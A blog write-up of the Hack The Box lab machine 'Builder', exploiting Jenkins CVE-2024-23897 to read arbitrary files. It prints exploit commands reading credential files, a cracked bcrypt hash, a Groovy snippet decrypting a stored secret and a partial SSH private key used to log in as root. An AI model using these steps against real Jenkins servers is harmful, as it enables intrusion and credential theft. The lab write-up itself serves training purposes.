Builder - HTB Writeup

Posted on 2024-05-06 in Hack The Box • 1202 words • 6 minute read

Tags: Linux, Jenkins, CVE-2024-23897

This post is a writeup for Medium difficulty Hack The Box machine: Builder. In this lab, we leverage CVE-2024-23897 a Local File Inclusion vulnerability to gather credentials for the user jennifer. From here, after logging into the Jenkins instance we use Jennifer’s account privileges to manually reset the root user’s password. Which then allowed us to view/edit the SSH key information. From there, we use the SSH key to easily log into the machine and get the root flag!

Enumeration

Starting off with a full port scan, only scanning open ports and a minimum rate of 10000.

nmap -p- --open --min-rate 10000 $IP -oN init.scan

22/tcp open ssh
8080/tcp open http-proxy

Now… moving on to a service version(-sCV)m TCP(sT) scan + OS detection(-O) scan:

nmap -p22,8080 -sCVT -O $IP
-----
Nmap 7.94SVN scan initiated Sun May  5 14:20:33 2024 as: nmap -p22,8080 -sCVT -O -oN scvt-o.scan 10.129.230.220
Nmap scan report for 10.129.230.220
Host is up (0.35s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  5 14:21:21 2024 -- 1 IP address (1 host up) scanned in 47.58 seconds

Site on Port 8080

Next, I then opened the page on port 8080, which brought me to a Jenkins(v2.441) home page.

CVE-2024-23897

A quck google for Jenkins 2.441 exploits brings up CVE-2024-23897.

Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

This is not all however, CVE-2024-23897 opens multiple attack vectors, leveraging the ability to obtain cryptographic keys and other sensitive data from binary files. The confirmed possible attacks include, but are not limited to:

RCE through Resource Root URLs.
RCE via “Remember me” cookie.
RCE through stored cross-site scripting (XSS) in build logs.
CSRF protection bypass leading to RCE.
Decrypting secrets stored in Jenkins.
Deletion of items in Jenkins.
Downloading a Java heap dump of the Jenkins controller process.

Heading over to the exploit-db script we found and downloading it, we can first test this out with /etc/passwd which works like a charm. I know from a prefious challenge that the default home user directory running the Jenkins instance is at the path /var/jenkins_home I then simply appended /user.txt to the path, making the full path: /var/jenkins_home/user.txt. Putting this through the exploit script, I was able to use the LFI to read the user flag. The next step will be to get a shell on the target as root. There are multiple ways of doing so in this situation.

Shell as Root

After a bit of googling and manually spinning up a jenkins to inspect the file paths locally using the latest Jenkins docker image, as well as going through the Jenkins documentation… I found that you can get a file called users.xml from /var/jenkins_home/users/users.xml which will return user configuration information. After running the script using this path here is the result:

python exploit.py -u "http://$IP:8080/" -p /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
      <string>jennifer_12108429903186576833</string>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>jennifer</string>
  <version>1</version>
</hudson.model.UserIdMapper>
  </idToDirectoryNameMap>
<hudson.model.UserIdMapper>
    </entry>

Username found: jennifer

To get the password, we simply take the value in the <string>VAL_HERE</string> tags as the directory name, and grab the config.xml file as follows:

python exploit.py -u "http://$IP:8080/" -p /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">
    <hudson.search.UserSearchProperty>
      <roles>
    <jenkins.security.seed.UserSeedProperty>
      </tokenStore>
    </hudson.search.UserSearchProperty>
      <timeZoneName></timeZoneName>
  <properties>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <flags/>
    <hudson.model.MyViewsProperty>
</user>
    </jenkins.security.ApiTokenProperty>
      <views>
        <string>authenticated</string>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">
<user>
          <name>all</name>
  <description></description>
      <emailAddress>jennifer@builder.htb</emailAddress>
      <collapsed/>
    </jenkins.security.seed.UserSeedProperty>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    </hudson.model.MyViewsProperty>
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
          <filterQueue>false</filterQueue>
    <jenkins.security.ApiTokenProperty>
      <primaryViewName></primaryViewName>
      </views>
    </hudson.model.TimeZoneProperty>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">
    </hudson.model.PaneStatusProperties>
    </hudson.tasks.Mailer_-UserProperty>
        <tokenList/>
    <jenkins.console.ConsoleUrlProviderUserProperty/>
        </hudson.model.AllView>
      <timestamp>1707318554385</timestamp>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
  </properties>
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <insensitiveSearch>true</insensitiveSearch>
          <properties class="hudson.model.View$PropertyList"/>
    <hudson.model.TimeZoneProperty>
        <hudson.model.AllView>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
      <providerId>default</providerId>
      </roles>
    </jenkins.security.LastGrantedAuthoritiesProperty>
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
    <hudson.model.PaneStatusProperties>
<?xml version='1.1' encoding='UTF-8'?>
  <fullName>jennifer</fullName>
      <seed>6841d11dc1de101d</seed>
  <id>jennifer</id>
  <version>10</version>
      <tokenStore>
          <filterExecutors>false</filterExecutors>
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

Hash found: $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a

Running this through hashid:

hashid -m 'a.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
Analyzing 'a.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x 
[+] bcrypt [Hashcat Mode: 3200]

And running that through hashcat:

hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt

(user:pass) - jennifer:[REDACTED]

Now with the password we get back from cracking the hash, we can log in and begin further enumeration! I should note that after cracking the hash, I attempted to get the master.key file from $HOME/secrets/master.key, which was successful, however the key appears to be encrypted.

Using this page on github, I found a script that should decrypt the private ssh key in credentials.xml, all I need to do is grab: hudson.util.Secret and I should be able to successfully decrypt the key.

Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

Trying this out had unfortunately no luck, although it was worth a try. Would have made for a pretty easy solution all things considered.

To recover the Private SSH key, I instead went with a much more direct path outlined in this blog post. From the jenkins management interface, I went through all the options; with the ability to modify user credentials as my target. Under the user management page was only the user root. And when clicking on it, we could see that there was an OpenSSH Private key present although we could not view it/edit it. But we COULD change the password set on root. Before doing so, I was able to find the SSH private key in a hidden parameter in the HTML source code, but I also could’ve easily just used the key I got earlier from credentials.xml as they are the same. After changing the password, I went over to /scripts in which the Groovy script console was in which I could run arbitrary Groovy code. With this in mind, I used some of Jenkins’ build in functionality to successfully decrypt the root user’s private key:

println hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY1J4YKYFziwyFA1wH/X5XHjUb8lUYkf/XSuDhR5tIpVWwkk7l1FTYwQQl/i5MOTww3b1QNzIAIv41KLKDgsq4WUAS5RBt4OZ7v410VZgdVDDciihmdDmqdsiGUOFubePU9a4tQoED2uUHAWbPlduIXaAfDs77evLh98/INI8o/A+rlX6ehT0K40cD3NBEF/4Adl6BOQ/NSWquI5xTmmEBi3NqpWWttJl1q9soOzFV0C4mhQiGIYr8TPDbpdRfsgjGNKTzIpjPPmRr+j5ym5noOP/LVw09+AoEYvzrVKlN7MWYOoUSqD+C9iXGxTgxSLWdIeCALzz9GHuN7a1tYIClFHT1WQpa42EqfqcoB12dkP74EQ8JL4RrxgjgEVeD4stcmtUOFqXU/gezb/oh0Rko9tumajwLpQrLxbAycC6xgOuk/leKf1gkDOEmraO7uiy2QBIihQbMKt5Ls+l+FLlqlcY4lPD+3Qwki5UfNHxQckFVWJQA0zfGvkRpyew2K6OSoLjpnSrwUWCx/hMGtvvoHApudWsGz4esi3kfkJ+I/j4MbLCakYjfDRLVtrHXgzWkZG/Ao+7qFdcQbimVgROrncCwy1dwU5wtUEeyTlFRbjxXtIwrYIx94+0thX8n74WI1HO/3rix6a4FcUROyjRE9m//dGnigKtdFdIjqkGkK0PNCFpcgw9KcafUyLe4lXksAjf/MU4v1yqbhX0Fl4Q3u2IWTKl+xv2FUUmXxOEzAQ2KtXvcyQLA9BXmqC0VWKNpqw1GAfQWKPen8g/zYT7TFA9kpYlAzjsf6Lrk4Cflaa9xR7l4pSgvBJYOeuQ8x2Xfh+AitJ6AMO7K8o36iwQVZ8+p/I7IGPDQHHMZvobRBZ92QGPcq0BDqUpPQqmRMZc3wN63vCMxzABeqqg9QO2J6jqlKUgpuzHD27L9REOfYbsi/uM3ELI7NdO90DmrBNp2y0AmOBxOc9e9OrOoc+Tx2K0JlEPIJSCBBOm0kMr5H4EXQsu9CvTSb/Gd3xmrk+rCFJx3UJ6yzjcmAHBNIolWvSxSi7wZrQl4OWuxagsG10YbxHzjqgoKTaOVSv0mtiiltO/NSOrucozJFUCp7p8v73ywR6tTuR6kmyTGjhKqAKoybMWq4geDOM/6nMTJP1Z9mA+778Wgc7EYpwJQlmKnrk0bfO8rEdhrrJoJ7a4No2FDridFt68HNqAATBnoZrlCzELhvCicvLgNur+ZhjEqDnsIW94bL5hRWANdV4YzBtFxCW29LJ6/LtTSw9LE2to3i1sexiLP8y9FxamoWPWRDxgn9lv9ktcoMhmA72icQAFfWNSpieB8Y7TQOYBhcxpS2M3mRJtzUbe4Wx+MjrJLbZSsf/Z1bxETbd4dh4ub7QWNcVxLZWPvTGix+JClnn/oiMeFHOFazmYLjJG6pTUstU6PJXu3t4Yktg8Z6tk8ev9QVoPNq/XmZY2h5MgCoc/T0D6iRR2X249+9lTU5Ppm8BvnNHAQ31Pzx178G3IO+ziC2DfTcT++SAUS/VR9T3TnBeMQFsv9GKlYjvgKTd6Rx+oX+D2sN1WKWHLp85g6DsufByTC3o/OZGSnjUmDpMAs6wg0Z3bYcxzrTcj9pnR3jcywwPCGkjpS03ZmEDtuU0XUthrs7EZzqCxELqf9aQWbpUswN8nVLPzqAGbBMQQJHPmS4FSjHXvgFHNtWjeg0yRgf7cVaD0aQXDzTZeWm3dcLomYJe2xfrKNLkbA/t3le35+bHOSe/p7PrbvOv/jlxBenvQY+2GGoCHs7SWOoaYjGNd7QXUomZxK6l7vmwGoJi+R/D+ujAB1/5JcrH8fI0mP8Z+ZoJrziMF2bhpR1vcOSiDq0+Bpk7yb8AIikCDOW5XlXqnX7C+I6mNOnyGtuanEhiJSFVqQ3R+MrGbMwRzzQmtfQ5G34m67Gvzl1IQMHyQvwFeFtx4GHRlmlQGBXEGLz6H1Vi5jPuM2AVNMCNCak45l/9PltdJrz+Uq/d+LXcnYfKagEN39ekTPpkQrCV+P0S65y4l1VFE1mX45CR4QvxalZA4qjJqTnZP4s/YD1Ix+XfcJDpKpksvCnN5/ubVJzBKLEHSOoKwiyNHEwdkD9j8Dg9y88G8xrc7jr+ZcZtHSJRlK1o+VaeNOSeQut3iZjmpy0Ko1ZiC8gFsVJg8nWLCat10cp+xTy+fJ1VyIMHxUWrZu+duVApFYpl6ji8A4bUxkroMMgyPdQU8rjJwhMGEP7TcWQ4Uw2s6xoQ7nRGOUuLH4QflOqzC6ref7n33gsz18XASxjBg6eUIw9Z9s5lZyDH1SZO4jI25B+GgZjbe7UYoAX13MnVMstYKOxKnaig2Rnbl9NsGgnVuTDlAgSO2pclPnxj1gCBS+bsxewgm6cNR18/ZT4ZT+YT1+uk5Q3O4tBF6z/M67mRdQqQqWRfgA5x0AEJvAEb2dftvR98ho8cRMVw/0S3T60reiB/OoYrt/IhWOcvIoo4M92eo5CduZnajt4onOCTC13kMqTwdqC36cDxuX5aDD0Ee92ODaaLxTfZ1Id4ukCrscaoOZtCMxncK9uv06kWpYZPMUasVQLEdDW+DixC2EnXT56IELG5xj3/1nqnieMhavTt5yipvfNJfbFMqjHjHBlDY/MCkU89l6p/xk6JMH+9SWaFlTkjwshZDA/oO/E9Pump5GkqMIw3V/7O1fRO/dR/Rq3RdCtmdb3bWQKIxdYSBlXgBLnVC7O90Tf12P0+DMQ1UrT7PcGF22dqAe6VfTH8wFqmDqidhEdKiZYIFfOhe9+u3O0XPZldMzaSLjj8ZZy5hGCPaRS613b7MZ8JjqaFGWZUzurecXUiXiUg0M9/1WyECyRq6FcfZtza+q5t94IPnyPTqmUYTmZ9wZgmhoxUjWm2AenjkkRDzIEhzyXRiX4/vD0QTWfYFryunYPSrGzIp3FhIOcxqmlJQ2SgsgTStzFZz47Yj/ZV61DMdr95eCo+bkfdijnBa5SsGRUdjafeU5hqZM1vTxRLU1G7Rr/yxmmA5mAHGeIXHTWRHYSWn9gonoSBFAAXvj0bZjTeNBAmU8eh6RI6pdapVLeQ0tEiwOu4vB/7mgxJrVfFWbN6w8AMrJBdrFzjENnvcq0qmmNugMAIict6hK48438fb+BX+E3y8YUN+LnbLsoxTRVFH/NFpuaw+iZvUPm0hDfdxD9JIL6FFpaodsmlksTPz366bcOcNONXSxuD0fJ5+WVvReTFdi+agF+sF2jkOhGTjc7pGAg2zl10O84PzXW1TkN2yD9YHgo9xYa8E2k6pYSpVxxYlRogfz9exupYVievBPkQnKo1Qoi15+eunzHKrxm3WQssFMcYCdYHlJtWCbgrKChsFys4oUE7iW0YQ0MsAdcg/hWuBX878aR+/3HsHaB1OTIcTxtaaMR8IMMaKSM=}")

After clicking on run for the code above, it then proceeds to decrypt and print out the key successfully as:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt3G9oUyouXj/0CLya9Wz7Vs31bC4rdvgv7n9PCwrApm8PmGCSLgv
Up2m70MKGF5e+s1KZZw7gQbVHRI0U+2t/u8A5dJJsU9DVf9w54N08IjvPK/cgFEYcyRXWA
EYz0+41fcDjGyzO9dlNlJ/w2NRP2xFg4+vYxX+tpq6G5Fnhhd5mCwUyAu7VKw4cVS36CNx
[SNIP]...
.
.
.
.
.
...[SNIP]
kf/kItJ6MLqM//+tkgYcOniEtG3oswTQPsTvL3ANSKKbdUKlSFQwTMJfbQeKf/t9FeO4lj
evzavyYcyj1XKmOPMi0l0wVdopfrkOuQAAAMEA7ROUfHAI4Ngpx5Kvq7bBP8mjxCk6eraR
aplTGWuSRhN8TmYx22P/9QS6wK0fwsuOQSYZQ4LNBi9oS/Tm/6Cby3i/s1BB+CxK0dwf5t
QMFbkG/t5z/YUA958Fubc6fuHSBb3D1P8A7HGk4fsxnXd1KqRWC8HMTSDKUP1JhPe2rqVG
P3vbriPPT8CI7s2jf21LZ68tBL9VgHsFYw6xgyAI9k1+sW4s+pq6cMor++ICzT++CCMVmP
iGFOXbo3+1sSg1AAAADHJvb3RAYnVpbGRlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

To get the root flag and complete the challenge, run:

chmod 600 <ssh_key> # set to correct permissions for private SSH key.
ssh -i <ssh_key> root@IP    # SSH using the private key to successfully perform authentication as root.

From here, we are able to log in and get the root flag!

Supasuge's Blog

Aspiring Information Technology/Cybersecurity Professional

Builder - HTB Writeup

Enumeration

Site on Port 8080

CVE-2024-23897

Shell as Root